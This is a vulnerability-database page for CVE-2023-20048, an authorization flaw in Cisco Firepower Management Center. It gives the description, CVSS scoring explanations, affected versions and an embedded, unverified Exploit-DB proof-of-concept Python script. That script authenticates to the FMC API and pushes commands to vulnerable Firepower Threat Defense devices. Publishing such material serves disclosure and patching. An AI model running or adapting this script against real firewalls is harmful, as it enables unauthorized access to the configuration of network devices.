CVE-2023-20048 : Detail

CVE-2023-20048

9.9
/
Critical
Improper Privilege ManagementAuthorization problems
A04-Insecure DesignA01-Broken Access Control
0.12%V3
Network
2023-11-01
17h04 +00:00
2024-10-23
19h40 +00:00
CVE.org
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CVE Descriptions

A vulnerability in the web services interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to execute certain unauthorized configuration commands on a Firepower Threat Defense (FTD) device that is managed by the FMC Software. This vulnerability is due to insufficient authorization of configuration commands that are sent through the web service interface. An attacker could exploit this vulnerability by authenticating to the FMC web services interface and sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to execute certain configuration commands on the targeted FTD device. To successfully exploit this vulnerability, an attacker would need valid credentials on the FMC Software.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
CWE-863 Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.9 CRITICAL CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 9.9 CRITICAL CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51881

Publication date : 2024-03-11 23h00 +00:00
Author : Abdualhadi khalifa
EDB Verified : No

# Exploit Title: [Cisco Firepower Management Center] # Google Dork: [non] # Date: [12/06/2023] # Exploit Author: [Abdualhadi khalifa](https://twitter.com/absholi_ly) # Version: [6.2.3.18", "6.4.0.16", "6.6.7.1] # CVE : [CVE-2023-20048] import requests import json # set the variables for the URL, username, and password for the FMC web services interface fmc_url = "https://fmc.example.com" fmc_user = "admin" fmc_pass = "cisco123" # create a requests session to handle cookies and certificate verification session = requests.Session() session.verify = False # send a POST request to the /api/fmc_platform/v1/auth/generatetoken endpoint to get the access token and refresh token token_url = fmc_url + "/api/fmc_platform/v1/auth/generatetoken" response = session.post(token_url, auth=(fmc_user, fmc_pass)) # check the response status and extract the access token and refresh token from the response headers # set the access token as the authorization header for the subsequent requests try: if response.status_code == 200: access_token = response.headers["X-auth-access-token"] refresh_token = response.headers["X-auth-refresh-token"] session.headers["Authorization"] = access_token else: print("Failed to get tokens, status code: " + str(response.status_code)) exit() except Exception as e: print(e) exit() # set the variable for the domain id # change this to your domain id domain_id = "e276abec-e0f2-11e3-8169-6d9ed49b625f" # send a GET request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords endpoint to get the list of devices managed by FMC devices_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords" response = session.get(devices_url) # check the response status and extract the data as a json object try: if response.status_code == 200: data = response.json() else: print("Failed to get devices, status code: " + str(response.status_code)) exit() except Exception as e: print(e) exit() # parse the data to get the list of device names and URLs devices = [] for item in data["items"]: device_name = item["name"] device_url = item["links"]["self"] devices.append((device_name, device_url)) # loop through the list of devices and send a GET request to the URL of each device to get the device details for device in devices: device_name, device_url = device response = session.get(device_url) # check the response status and extract the data as a json object try: if response.status_code == 200: data = response.json() else: print("Failed to get device details, status code: " + str(response.status_code)) continue except Exception as e: print(e) continue # parse the data to get the device type, software version, and configuration URL device_type = data["type"] device_version = data["metadata"]["softwareVersion"] config_url = data["metadata"]["configURL"] # check if the device type is FTD and the software version is vulnerable to the CVE-2023-20048 vulnerability # use the values from the affected products section in the security advisory if device_type == "FTD" and device_version in ["6.2.3.18", "6.4.0.16", "6.6.7.1"]: print("Device " + device_name + " is vulnerable to CVE-2023-20048") # create a list of commands that you want to execute on the device commands = ["show version", "show running-config", "show interfaces"] device_id = device_url.split("/")[-1] # loop through the list of commands and send a POST request to the /api/fmc_config/v1/domain/{DOMAIN_UUID}/devices/devicerecords/{DEVICE_ID}/operational/command/{COMMAND} endpoint to execute each command on the device # replace {DOMAIN_UUID} with your domain id, {DEVICE_ID} with your device id, and {COMMAND} with the command you want to execute for command in commands: command_url = fmc_url + "/api/fmc_config/v1/domain/" + domain_id + "/devices/devicerecords/" + device_id + "/operational/command/" + command response = session.post(command_url) # check the response status and extract the data as a json object try: if response.status_code == 200: data = response.json() else: print("Failed to execute command, status code: " + str(response.status_code)) continue except Exception as e: print(e) continue # parse the data to get the result of the command execution and print it result = data["result"] print("Command: " + command) print("Result: " + result) else: print("Device " + device_name + " is not vulnerable to CVE-2023-20048")

Products Mentioned

Configuraton 0

Cisco>>Secure_firewall_management_center >> Version From (including) 6.2.3 To (including) 6.2.3.18

Cisco>>Secure_firewall_management_center >> Version From (including) 6.4.0 To (including) 6.4.0.16

Cisco>>Secure_firewall_management_center >> Version From (including) 6.6.0 To (including) 6.6.7.1

Cisco>>Secure_firewall_management_center >> Version From (including) 6.7.0 To (including) 6.7.0.3

Cisco>>Secure_firewall_management_center >> Version From (including) 7.0.0 To (including) 7.0.5

Cisco>>Secure_firewall_management_center >> Version From (including) 7.1.0 To (including) 7.1.0.3

Cisco>>Secure_firewall_management_center >> Version From (including) 7.2.0 To (including) 7.2.3.1

Cisco>>Secure_firewall_management_center >> Version From (including) 7.3.0 To (including) 7.3.1.1

References